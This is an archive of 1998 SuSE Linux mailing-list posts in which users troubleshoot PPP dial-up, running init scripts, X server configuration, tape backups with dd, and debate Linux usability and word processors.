> cant live without it. Cant wait for WP8/99US this summer and the Suite
> later next year.

The good news is that it's memory that will make the biggest difference
here. Good news because the memory you need to make a difference is much
cheaper than 333Mhz chips.

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From jimi@earthling.net Sun Jun 28 19:27:56 1998
From: jimi@earthling.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] ppp (that ol' devil)
Date: Sun, 28 Jun 1998 21:27:56 +0200
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Ho!

Newbie questions:

Ok, I installed Linux and KDE, and all works fine except one thing:
I can't get the on the 'net. So here goes:

I use a Motorola Bitsurfr Pro as a ISDN terminal, and I configured
it in (as much as is possible) KDE. It starts up fine, gets an init
string and starts to dial to my ISP. After a few seconds, it returns
a dialog with "PPP died unexpectedly!".

Ok, the questions are:

1. Does this have to do with something missing or not being correctly set up?

2. Do I need the i4l installed? It is installed, but for some reason
the i4l don't find the right hardware and the kernel unloads it during
startup.

3. If so, what kind of driver do I need for the Bitsurfr? I can't find
any hint in the documentation on the SuSE site.

I'd be thankful for any pointers in the right direction...

Regards,
Jimi

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From billmadsen@worldnet.att.net Sun Jun 28 19:40:34 1998
From: billmadsen@worldnet.att.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What is Infoblock?
Date: Sun, 28 Jun 1998 19:40:34 +0000
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On Sun, 28 Jun 1998 18:56:35 GMT, I  wrote:

>
>Page 34 of the SUSE manual (5.2) tells the reader to look up further
>information about partitioning in Infoblock section IB5, page 56. I
>find no reference to Infoblock anywhere in the manual.  Can someone
>tell me what and where it is?
>
>Thanks in advance.
>
>Bill Madsen in  St. Louis
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I'm sorry.  Infoblock is right where the reference says it is, on  
pp.54 and following.  

Bill Madsen
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From brian.jones3@virgin.net Sun Jun 28 19:47:21 1998
From: brian.jones3@virgin.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ppp (that ol' devil)
Date: Sun, 28 Jun 1998 20:47:21 +0100
Message-ID: <35969DC9.E5BD3D4D@virgin.net>
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Jimi Axelsson wrote:
> 
> Ho!
> 
> Newbie questions:
> 
> Ok, I installed Linux and KDE, and all works fine except one thing:
> I can't get the on the 'net. So here goes:
> 
> I use a Motorola Bitsurfr Pro as a ISDN terminal, and I configured
> it in (as much as is possible) KDE. It starts up fine, gets an init
> string and starts to dial to my ISP. After a few seconds, it returns
> a dialog with "PPP died unexpectedly!".
> 

I guess you're using kppp, in which case check the help that comes with
it - make sure you've followed all the advice in the FAQ section,
particularly about not having lock in the options file.

The thing that gave me grief for a while was the mouse and the modem
sharing an IRQ - both were on IRQ 4 & so I got an erratic modem &
unexpected ppp deaths. You can check this (& fix this, if necessary)
with setserial.

Hope that helps,

Brian.
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From beamanj@novaquest.com Sun Jun 28 20:17:02 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 13:17:02 -0700
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OK, this may seem like a dumb question, but please bear with me as I am new
to Linux.  Now, my understanding is that any program, script, etc can be
directly executed from the command line provided that ther permissions are
set up with the 'x' attribute.  Now, I am using SUSE Linux 5.2, and I am
trying to execute smb, from the /sbin/init.d directory.  It is a script with
the x attribute set, and I am logged in as root.  I can do a less on it, but
when I try to execute it, I get bash:Command not found.  It is not this file
only that I have trouble with either--many are like this.  What am I doing
wrong?

Thanks in advance,
Joe

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From satan3@home.com Sun Jun 28 20:23:22 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 15:23:22 -0500
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cd /sbin/init.d
./smb

Joseph Beaman wrote:
> 
> OK, this may seem like a dumb question, but please bear with me as I am new
> to Linux.  Now, my understanding is that any program, script, etc can be
> directly executed from the command line provided that ther permissions are
> set up with the 'x' attribute.  Now, I am using SUSE Linux 5.2, and I am
> trying to execute smb, from the /sbin/init.d directory.  It is a script with
> the x attribute set, and I am logged in as root.  I can do a less on it, but
> when I try to execute it, I get bash:Command not found.  It is not this file
> only that I have trouble with either--many are like this.  What am I doing
> wrong?
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From schullersite@NOSPAMworldnet.att.net.suse.de Sun Jun 28 20:30:21 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Wrap
Date: Sun, 28 Jun 1998 15:30:21 -0500
Message-ID: <3596A7DD.980FDE39@NOSPAMworldnet.att.net>
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David Nelsen wrote:

> Newbie wonders; Are there not Linux mail and news clients that feature word
> wrap?

I'm using one of them.

Ken
> 
> Dave
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From schullersite@NOSPAMworldnet.att.net.suse.de Sun Jun 28 20:32:27 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ppp (that ol' devil)
Date: Sun, 28 Jun 1998 15:32:27 -0500
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Jimi Axelsson wrote:
>=20
> Ho!
>=20
> Newbie questions:
>=20
> Ok, I installed Linux and KDE, and all works fine except one thing:
> I can't get the on the 'net. So here goes:
>=20
> I use a Motorola Bitsurfr Pro as a ISDN terminal, and I configured
> it in (as much as is possible) KDE. It starts up fine, gets an init
> string and starts to dial to my ISP. After a few seconds, it returns
> a dialog with "PPP died unexpectedly!".
>=20
> Ok, the questions are:
>=20
> 1. Does this have to do with something missing or not being correctly set u=
p?
>=20
> 2. Do I need the i4l installed? It is installed, but for some reason
> the i4l don't find the right hardware and the kernel unloads it during
> startup.
>=20
> 3. If so, what kind of driver do I need for the Bitsurfr? I can't find
> any hint in the documentation on the SuSE site.
>=20
> I'd be thankful for any pointers in the right direction...
>=20
> Regards,
> Jimi

Jimi-

Make sure you have PPP support (and ISDN support, for that matter)
compiled into your kernel.

Ken

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From nelsen@telusplanet.net Sun Jun 28 21:40:59 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] How to install server
Date: Sun, 28 Jun 1998 15:40:59 -0600
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Hi,

As a newbie to Linux I thought it best to choose the lowest common
denominator video set-up when first installing SuSE.  Now I would like to
change the setting to SVGA.  In XF86Config I choose the card to [the actual
installed] Cirrus Logic 54xx and get a message telling me to abort and
install the SVGA server as /usr/X11R6/bin/SVGA.  

I have searched all over yast in adj to install, choose install pkg, and
sys admin and can find no option to install another server [what I guess
must be a video driver.] Help in yast or XF86Config didn't seem to offer a
hint.  Any thoughts would sure be appreciated.

I remain - clueless,

Dave

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From stefan.troeger@wirtschaft.tu-chemnitz.de Sun Jun 28 21:45:21 1998
From: stefan.troeger@wirtschaft.tu-chemnitz.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld]
Date: Sun, 28 Jun 1998 23:45:21 +0200
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On Sun, Jun 28, 1998 at 08:59 -0400, Howard Arons wrote:

> * I nulled the References and I-R-T headers intentionally. What do they 
> really add? Who actually looks at/uses them? This isn't a smart-ass 
> answer; if there's a good reason for them to be there, I'll put them 
> back.

The good reason is that mailers like mutt use the References
header for threading.

Ciao,
        Stefan
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From arunkhan@xnet.com Sun Jun 28 21:51:58 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 16:51:58 -0500
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>=20
>=20
> cd /sbin/init.d
> ./smb
        To start SMB you need: "./smb start"
        To stop SMB you need:  "./smb stop"

        the same is true for most other scripts in /sbin/init.d
>=20
> Joseph Beaman wrote:
> >=20
> > OK, this may seem like a dumb question, but please bear with me as I am n=
ew
> > to Linux.  Now, my understanding is that any program, script, etc can be
> > directly executed from the command line provided that ther permissions are
> > set up with the 'x' attribute.  Now, I am using SUSE Linux 5.2, and I am
> > trying to execute smb, from the /sbin/init.d directory.  It is a script w=
ith
> > the x attribute set, and I am logged in as root.  I can do a less on it, =
but
> > when I try to execute it, I get bash:Command not found.  It is not this f=
ile
> > only that I have trouble with either--many are like this.  What am I doing
> > wrong?
>=20

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From satan3@home.com Sun Jun 28 21:59:50 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] How to install server
Date: Sun, 28 Jun 1998 16:59:50 -0500
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Install the package xsvga in yast.  That is, if the svga server supports
your card.  Your card may or may not use a different server.  This
should be documented in the SuSE manual or in the xfree documentation. 
When you have the correct server installed, simply rerun XF86Setup and
make the appropriate entries.

David Nelsen wrote:
> 
> Hi,
> 
> As a newbie to Linux I thought it best to choose the lowest common
> denominator video set-up when first installing SuSE.  Now I would like to
> change the setting to SVGA.  In XF86Config I choose the card to [the actual
> installed] Cirrus Logic 54xx and get a message telling me to abort and
> install the SVGA server as /usr/X11R6/bin/SVGA.
>
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From zentara@mindspring.com Sun Jun 28 22:00:29 1998
From: zentara@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Am I paranoid, is it Microsoft, or what?
Date: Sun, 28 Jun 1998 17:00:29 -0500
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Hello,

I have SuSE 5.1 running, and I had to go out of town. So I took my PC apart
and hid it like any respectable paranoid would do.
Up to my leaving, SuSE ran beautifully, using EzPPP as my Internet
connect. I have sung the praises of SuSE to everyone I have met.

When I returned home, and tried to log on using EzPPP,  I would get error
messages, when trying to use TCP/IP to Mindspring.

The messages basically said that there was no entry for any nameserver
at Mindspring. I couldn't connect to pop.mindspring.com nor any web site.

The system worked perfectly 1 month ago.  What happened?

I can use Windows95 to get online, but Linux is not allowed.

In the intervening month, while I was gone,
Microsoft bought off some judge to allow them
to distribute Win98 with IE4 Browser built in, and Mindspring's stock
just recently split, with a tremendous gain.
Do you smart guys out there see why I'm paranoid?

Does anyone else out there feel that some government entity
has aligned with Microsoft, to force everyone onto the Microsoft
bandwagon?

What does this say about the Internet?  Who controls it?

You can call me paranoid, but this did occur.
I'm using Win95  right now, to upload this.

I freely admit that I might have made some error in SuSE configuration, 
but why did it work fine 1 month ago, and stonewalls me now?

If anything, this speaks for more strigent anti-trust legislation against
Microsoft. Of course, that would be useless if Microsoft is a front for
some intelligence agency ,  as I suspect.  As any "paranoid" knows.....
you can't fight "them".

Your "delusional" Linux-loving friend,
zentara

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From satan3@home.com Sun Jun 28 22:01:31 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 17:01:31 -0500
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Arun Khan wrote:
> 
> >
> >
> > cd /sbin/init.d
> > ./smb
>         To start SMB you need: "./smb start"
>         To stop SMB you need:  "./smb stop"
> 
>         the same is true for most other scripts in /sbin/init.d

when in doubt 
man 
or ./nameofexecutable -h
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From hlarons@mail.comcat.com Sun Jun 28 22:03:52 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Where's Applix?
Date: Sun, 28 Jun 1998 18:03:52 -0400
Message-ID: <19980628180352.50039@BeagleDog>
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On Sun, Jun 28, 1998 at 05:58:27PM +0200, Mickael Remond wrote:
> 
> On Sun, 28 Jun 1998, Howard Arons wrote:
> 
> > Alas, my install has the /opt/applix directory structure, but there's 
> > no "applix" executable there. AFAIK there is _no_ executable in the 
> > install at all. Some demo :-( I really don't know what to make of this.
> 
> How many packages did you install ? You have to install both the apxengdm
> for english language support and the Applixware demo main package called
> axdemo.
> 
> Hope this might help.
> 
> Mickaël Rémond

Thanks! I'm sure that's my problem. At the risk of starting another of 
"those threads" I have to say that the F2 description of axdemo seemed 
to say that you had to choose _between_ axdemo and apxengdm. Guess I 
was wrong. Sigh.

Howard Arons

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From tanc@cuug.ab.ca Sun Jun 28 22:42:18 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] multiple X
Date: Sun, 28 Jun 1998 16:42:18 -0600
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Thanks a lot for the pointer in Xservers file. =20

I modified the file, and it is working fine with 2 X sessions.  Want my
copy of the file? =20

Thanks again.

Regards,
C. J. Tan

On Sun, 28 Jun 1998, Juergen Braukmann wrote:

>=20
> C. J. Kenneth Tan wrote:
> >=20
> > How can I start multiple X sessions?  I want to have an X session started
> > on VT7, another on VT8.  Has anyone done this before?
> >=20
> > Any help will be greatly appreciated.
> >=20
>=20
> I remembered that this was easy as nothing, and that I stored the info.
> I went digging for about the next hour, because it interested me again.
> Nothing in the SDB, not much in my stored mails, but on a tiny note
> paper:
>=20
> here we go:
>=20
> startx -- :1 -bpp 8
>=20
> will start another X-server (256 colors) on vt08 [ctrl + alt + f8] If
> you want a different color depth, make sure there is an appropiate
> modeline in /etc/xf86config (or however this darn file is called).
>=20
> I found another hint:
>=20
> see /usr/X11R6/lib/X11/xdm/Xservers:
>=20
> you can start further x-servers there, but I was *not* so successful
> like above. I dug through some man pages without success. So, that's all
> you may squeeze out of me. ;-)
>=20
> J=C3=BCrgen
>=20
> --=20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D    __   _
> J=C3=BCrgen Braukmann e-mail: brauki(a)cww.de   |   / /  (_)__  __ ____  __=
   =20
> Tel: 0201-743648 dk4jb(a)db0qs.#nrw.deu.eu |  / /__/ / _ \/ // /\ \/ /  =20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D /____/_/_//_/\_,_/ /_/\_\
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From morche@sat1.de Sun Jun 28 22:54:01 1998
From: morche@sat1.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] dd question
Date: Mon, 29 Jun 1998 00:54:01 +0200
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C. J. Kenneth Tan wrote:
> 
> No, I guess I didn't phrase my question very well.  I wanted to know how
> to write a file to a tape spanning across more than 1 tape using 'dd'.
...
In that case, You have to do the tape sizing by hand. Start dd using the
option count to specify the count of blocks to write to each tape and
the option skip to specify at which block to start to read from the
source device or seek to give the start on the target device.

For example:
# Write device /dev/sda to 10MB sized tape cartridges within /dev/st0
dd if=/dev/sda bs=10240 skip=0 count=1024 of=/dev/st0;
# change tape
dd if=/dev/sda bs=10240 skip=1024 count=1024 of=/dev/st0;
...

# Later read it back...
dd of=/dev/sda bs=10240 seek=0 count=1024 if=/dev/st0;
# Again, change tape
dd of=/dev/sda bs=10240 seek=1024 count=1024 if=/dev/st0;
...

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From beastman@jump.net Sun Jun 28 23:44:38 1998
From: beastman@jump.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] FREE Netware for Linux press release
Date: Sun, 28 Jun 1998 18:44:38 -0500
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Press release

FOR IMMEDIATE RELEASE
CALDERA ANNOUNCES BETA OF CALDERA NETWARE SERVER FOR LINUX
Orem, UT - June 22, 1998 - Caldera=C2=AE, Inc. announces the availability of =
the
beta version of the Caldera NetWare=C2=AE Server for Linux. A three-user lice=
nse
version of the beta will be available for download at no charge from
Caldera's FTP site beginning Wednesday, June 24, 1998. Beta documentation
and a monitored mail list will be accessible via the Web site. Formal
technical support for the beta product will not be offered.

The Caldera NetWare Server for Linux will provide NetWare file, print and
directory services running natively on Linux. This is a component of the
Caldera Small Business Server, a turn-key software server solution with
web-based system administration and e-mail, to be released during the third
quarter of this year.

"The Caldera NetWare Server for Linux is being made available in direct
response to customer and VAR requests. It meets the need for NetWare
services, plus Internet integration, on a low-cost, easy to manage
platform," said Ransom Love, General Manager of the OpenLinux Division at
Caldera. "Making the beta version available to the Linux and NetWare
communities allows us to gather feedback and then release an extremely
polished product."

After the four-week beta period has ended, a non-beta three-user version
will continue to be available for download at no charge. Additional user
licenses will be available for purchase when the final product is released.

end

Bill Eastman
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From satan3@home.com Sun Jun 28 23:49:12 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] CPUInfo?
Date: Sun, 28 Jun 1998 18:49:12 -0500
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You mean executing "cat /proc/cpuinfo" returns nothing at all?

Lawrence Sayre wrote:
> 
> My /proc/cpuinfo file is empty.  I thought this file was supposed to
> keep a record of the CPU, and its relative bogomips performance, etc..
> 
> My CPU is a Cyrix P200+, and I'm using SuSE 5.2.  Is there any way to
> get the CPU info to read out this for this chip?
> 
> -----------------------------------------------
> Man's mind is his basic tool of survival!
> 
> Lawrence Sayre 
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From lsayre@integrityonline13.com Sun Jun 28 23:55:10 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 18:55:10 -0500
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Yes!  I also own Caldera Openlinux Standard 1.1, but I gave up on it
when I found out just how good SuSE 5.2 is.  I wish I had found SuSE
first, as I would have saved a load of money, and had Linux up and
running a lot faster and easier to boot!  Caldera is a waste of money!!!

TEX wrote:
> 
> OH ye of little faith.  Have you looked at caldera?
> 
> Howard Arons wrote:
> >
> > So, I suggest that Bill G's success is a self-fulfilling prophecy.
> > Linux will never, ever reach the point of offering the point-and-click
> > convenience that ordinary users (pop, mom, _and_ the folks at the
> > office) need and demand. If Linux ever does achieve such a thing, I
> > wonder how the current hard core Linux folks will feel about that?
> >
> > Howard Arons
> > --
> > Powered by SuSE Linux 5.2 -- kernel 2.0.33
> > Communications by Mutt 0.89

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Man's mind is his basic tool of survival!

Lawrence Sayre 
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From deem@wdm.com Mon Jun 29 00:19:10 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Imake problem with Motif 2.0
Date: Sun, 28 Jun 1998 16:19:10 -0800
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gcc -o xmcd -O2 -fno-strength-reduce      -L/usr/X11R6/lib cdfunc.o     dbpro=
g.o        geom.o  help.o  hotkey.o        main.o  widget.o        ../common_=
d/libutil.a   ../cddb_d/libcddb.a     ../libdi_d/libdi.a XmClientLibs     =20
gcc: XmClientLibs: No such file or directory

I see this is an Imake problem ? Is there a work-around ?

I have Motif 2.0 installed on this system and didn't have this problem
on my SuSE 5.1 install ?

Appreciate some help.

Regards
-Dee

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From lsayre@integrityonline13.com Mon Jun 29 00:37:49 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] CPUInfo?
Date: Sun, 28 Jun 1998 19:37:49 -0500
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My /proc/cpuinfo file is empty.  I thought this file was supposed to
keep a record of the CPU, and its relative bogomips performance, etc..

My CPU is a Cyrix P200+, and I'm using SuSE 5.2.  Is there any way to
get the CPU info to read out this for this chip?
 
-----------------------------------------------
Man's mind is his basic tool of survival!

Lawrence Sayre 
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From Stuart@Cyberdude.com Mon Jun 29 00:41:31 1998
From: Stuart@Cyberdude.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Am I paranoid, is it Microsoft, or what?
Date: Mon, 29 Jun 1998 00:41:31 +0000
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zentara wrote:

> Hello,
>
> I have SuSE 5.1 running, and I had to go out of town. So I took my PC apart
> and hid it like any respectable paranoid would do.
> Up to my leaving, SuSE ran beautifully, using EzPPP as my Internet
> connect. I have sung the praises of SuSE to everyone I have met.
>
> When I returned home, and tried to log on using EzPPP,  I would get error
> messages, when trying to use TCP/IP to Mindspring.
>
> The messages basically said that there was no entry for any nameserver
> at Mindspring. I couldn't connect to pop.mindspring.com nor any web site.
>
> The system worked perfectly 1 month ago.  What happened?

Could you run a traceroute to it (may show a problem)
also another possible problem is /etc/resolv.confmaybee they updated their
name servers?
Try telephoning tech support and ask for the ip addresses
of their dns servers and check them against /etc/resolv.conf
if their different then that is most likley to be your problem

but can you get to other sites?

> I can use Windows95 to get online, but Linux is not allowed.

Don't try windows98 to get online ;o)

>
>
> In the intervening month, while I was gone,
> Microsoft bought off some judge to allow them
> to distribute Win98 with IE4 Browser built in, and Mindspring's stock
> just recently split, with a tremendous gain.
> Do you smart guys out there see why I'm paranoid?
>
> Does anyone else out there feel that some government entity
> has aligned with Microsoft, to force everyone onto the Microsoft
> bandwagon?
>
> What does this say about the Internet?  Who controls it?
>
> You can call me paranoid, but this did occur.
> I'm using Win95  right now, to upload this.
>
> I freely admit that I might have made some error in SuSE configuration,
> but why did it work fine 1 month ago, and stonewalls me now?
>
> If anything, this speaks for more strigent anti-trust legislation against
> Microsoft. Of course, that would be useless if Microsoft is a front for
> some intelligence agency ,  as I suspect.  As any "paranoid" knows.....
> you can't fight "them".

as far as microsofts share of the PC market goes.. if they keep up the way
their going with windows98 their gonna lose a lot of it. the distributors
release of windows98 which i have (dont stone me i don't distribute win98)
could be clasified as ALPHA for stability not BETAand deffinatly
NOT production

>
>
> Your "delusional" Linux-loving friend,
> zentara
>
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From tanc@cuug.ab.ca Mon Jun 29 01:39:17 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Multiprocessors
Date: Sun, 28 Jun 1998 19:39:17 -0600
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I am wondering what will happen if I were to put in two processors which
are of different stepping into a multiprocessor machine.  Has anyone
encountered this before?  Currently, I have a PPro 200 256K Stepping 9 and
I want to order another one, but I don't know if it'll be Stepping 9 as
well or not.

Regards,
C. J. Tan
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From beamanj@novaquest.com Mon Jun 29 02:17:00 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 19:17:00 -0700
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Thanks--that works beautifully.  Now my next question is WHY do you have to
do that?

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Michael Lankton
> Sent: Sunday, June 28, 1998 1:23 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] Executing executables under Linux
>
>
>
> cd /sbin/init.d
> ./smb
>
> Joseph Beaman wrote:
> >
> > OK, this may seem like a dumb question, but please bear with me
> as I am new
> > to Linux.  Now, my understanding is that any program, script, etc can be
> > directly executed from the command line provided that ther
> permissions are
> > set up with the 'x' attribute.  Now, I am using SUSE Linux 5.2, and I am
> > trying to execute smb, from the /sbin/init.d directory.  It is
> a script with
> > the x attribute set, and I am logged in as root.  I can do a
> less on it, but
> > when I try to execute it, I get bash:Command not found.  It is
> not this file
> > only that I have trouble with either--many are like this.  What
> am I doing
> > wrong?
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From satan3@home.com Mon Jun 29 02:31:17 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 21:31:17 -0500
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Unless you are executing from a directory that is in your path, you need
to preceed the name of the bin with "./".  You can add directories to
you path in /etc/profile.  For instance, a kde user might want to append
/opt/kde/bin to his path declaration.  Unless you have a directory with
several bins that you execute frequently that is outside your path, then
it makes more sense to symlink the bins you want to execute to
directories that are in your path.  For instance, you have realplayer in
/opt/rvplayer say.  Instead of ham-fistedly cp'ing it to a directory in
your path, you could 
"ln -s /opt/rvplayer/rvplayer /usr/X11R6/bin/rvplayer" 
That way if any other program depends on that app being in /opt/rvplayer
it can still find it, and with rvplayer symlinked you can now just type
"rvplayer" without the ./ from an rxvt or xterm.

Joseph Beaman wrote:
> 
> Thanks--that works beautifully.  Now my next question is WHY do you have to
> do that?
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From hattons@cpkwebser5.ncr.disa.mil Mon Jun 29 02:32:37 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 22:32:37 -0400
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Michael Lankton wrote:

> What you all need to take into consideration is that linux is a unix
> clone.  Unix systems need to be ADMINISTERED, they were never meant to
> be desktop boxes.  Joe User on a unix network runs his applications, but
> the sysadmin is responsible for all the administration tasks.  Well, if
> you are running a unix box at home, regardless of whether it's freebsd,
> linux or whatever, you have willingly chosen to become a unix system
> administrator.  I don't understand all the whining about something
> you've voluntarily chosen to do.  If people come to linux expecting a
> windows that isn't windows, they are going to be disappointed and
> frustrated.


I came to Linux in order to learn more about Unix system administration.  I u=
se
Solaris at work, and figured that Linux would be a good place to start.  I co=
uld
have bought Solaris x86 for $99 as a student.  I would have done so, except I=
 found
Linux to be capable of much more than I had imagined.  I have been configuring
systems since '92.  I also worked on guided missile, digital electronics for 5
years.  In addition I have a CS degree with a concentration in hardware.  I d=
on't
mind configuring systems, and I'm pretty good at it.

I have been involved with NT since it was in beta.  I believe that Unix, and =
open
systems in general,  are superior to NT for both technical and economic reaso=
ns.
The big advantage that NT has over Linux is the ease with which a novice can
configure it.  Linux is not nearly as easy to configure.  Grant you it is cap=
able
of doing a lot more than NT.  When one asserts that one operating system is
superior to another, he is basically saying that the better OS is more reliab=
le,
efficient, and capable of performing a wider variety of tasks.  One of the
functions that is being demanded of OS's these days is to provide easy to use
configuration tools.  I see nothing wrong with this.  Ease of configuration m=
akes
sense if the OS is to move beyond the enclave of highly specialized computer
scientist.  There are many very intelligent people who would love to use Linux
except they don't want to spend hours or even days trying to configure their
printer.  Personally, I want to start using it for Mathematica.  If I am in t=
he
middle of generating a very complex animation of a physical system I don't wa=
nt to
have to take time out to try and figure out how to reconfigure some aspect of=
 my
OS.

I have the feeling that the people who don't like all the talk about Linux be=
coming
user-friendly are afraid they will loose some perceived advantage over others=
 if
this happens.  These are perhaps the same people who feel that they are smart=
er
than everybody around them because others don't know as much about computers.=
  This
is the "if you aren't an expert in my field, you can't be very smart" syndrom=
e.
There is also the "what are you doing on this road with your horseless carria=
ge?
You're scaring my horses" syndrome.  You guys who want to continue to use vi =
to
write your doctoral thesis are free to do so.  I will still use vi to edit my
/etc/hosts file.

Linux can beat the pants off Micro$oft in the open market, if it becomes more=
 user
friendly.  At work we have several Compaq Proliant 7000s with 4 CPU's, 4 Gig =
of
RAM, 450 Gig of hard drive and Windoze NT running on them.  This is enough po=
wer to
handle most data processing need of a medium size organization.  All the file=
 and
print servers in the Defense Information Systems Agency (DISA) are running NT=
.  All
the user work stations are running NT.  There are many people pushing very ha=
rd to
try to do everything on NT.  The biggest advantage I can see NT has is its GUI
configuration tool set.  M$ did a good job of designing the overall architect=
ure of
NT.  It is very modular, uses a micro-kernel concept, and uses a pretty good =
VMM.
Some of these features are not part of the current Linux architecture, as I
understand it.  This means that in the short run NT is probably easier to mod=
ify
and improve.  There is no way that DISA could implement the same NT based sys=
tem
they currently have on Linux without a support staff with far more computer
knowledge than the one that they have.

Making machines do things that are difficult, time consuming, or boring is the
whole idea of computers.  If Linux and the GPL concept is so great, (and I be=
lieve
it is) then Linux can be made to help the user configure his system in a way
superior to M$.


Sorry if this rambles a bit.  I need to think about these ideas more so that =
I can
find better words.

Steve


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From satan3@home.com Mon Jun 29 02:35:57 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Executing executables under Linux
Date: Sun, 28 Jun 1998 21:35:57 -0500
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I wrote:

> For instance, a kde user might want to append
> /opt/kde/bin to his path declaration. 

Well, actually, a kde user wouldn't have to do that because everything
from /opt/kde/bin functions in the kde environment without any
additional work on your part.  I use WindowMaker as my primary user and
Icewm as root,  but I use a couple of the kde apps, namely the
filemanager and a couple of the games, and they work fine outside of the
kde environment provided that /opt/kde/bin is in your path.
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From leonmcclatchey@homemail.com Mon Jun 29 03:07:29 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 22:07:29 -0500
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C. J. Kenneth Tan wrote:

> I have seen many people mentioning about word processors on this list and
> I am just curious how many people are LaTeX or TeX or *roff users.  If you
> are writing scientific documents, I don't think there is any word

I have glanced at Latex and to tell you the truth, from what little bit I loo=
ked
at, it does look like it can be very useful.  I've also looked at HTML as a
possibility as well.  Both as far as capabilities goes, does have a lot of
potential.  But the only real problem would be trying to remember all the cod=
es to
get the format that you want, and for a letter?  For instance, In my land let=
ters,
I do put a header on each page, and this header would contain my statistics (=
Name,
address, phone, email, etc) as well as the current date (coded so a template =
could
be used).  This would be centered and in bold, probably about 16pt on the fon=
t.
Then the reciever's address would be left justified, bold and in about 14pt. =
 As
far as the body goes, that would depend on what is being said, but for the mo=
st
part would be done in 12pt and fully justified.  The signature would then be
centered and in 14pt Bold.  All that would be in the footer would be the Page
Number (coded) Centered and in 12pt bold.

The reason I don't like to drop below 12pt is because some of the folks I wri=
te to,
well their eyesight would have a hard time handling the smaller fonts:-(

I do have a book (Linux Unleashed) that does talk a little bit about latex, a=
nd
I think I can get the line formats from that?, but as far as the document spl=
it up,
well, in HTML, I guess I would have to use "H1-H4", but I couldn't find anyth=
ing in
what I have on hand how to set up a header/footer in Latex.

Then I just came back from a bookstore (looking for a book on Latex) and they
didn't know what I was talking about:-( That is really the only reason that I=
 was
looking for something that is a little more user friendly (my dos/win/os2
background rearing its ugly head:-)

> think LaTeX is not too difficult to learn either.  Once you get hooked
> onto it, you'll probably find that it's very powerful.

I don't doubt that one bit:-), Just from what little bit I've played with and
checked out, I could see that as far as its total capbilities goes, I probably
wouldn't use but about 100n a regular basis:-)


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From leonmcclatchey@homemail.com Mon Jun 29 03:12:02 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sun, 28 Jun 1998 22:12:02 -0500
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Michael Lankton wrote:

> I use Applix.  I have used Staroffice, and I like Applix better.  I
> haven't used Wordperfect so I don't know about it.  I like wysiwyg word
> processors for stuff like that.
>

I used to use Wordperfect and Wordstar 4 dos.  In os2, IBMworks was my favori=
te.  I
don't like "Win's Write" at all (Ibmworks spoiled me along those lines).  I h=
ave
thought about Applix, but to tell ya the truth, I haven't got 250 bucks or so=
 to
"splurge" on a wordprocessor I don't know enough about.  I did think about ch=
ecking out
Staroffice, but there I'm just a little bit limited on disk space:-(

But I do like wysiwyg processors, but due to space or whatever, It looks like=
 I'm going
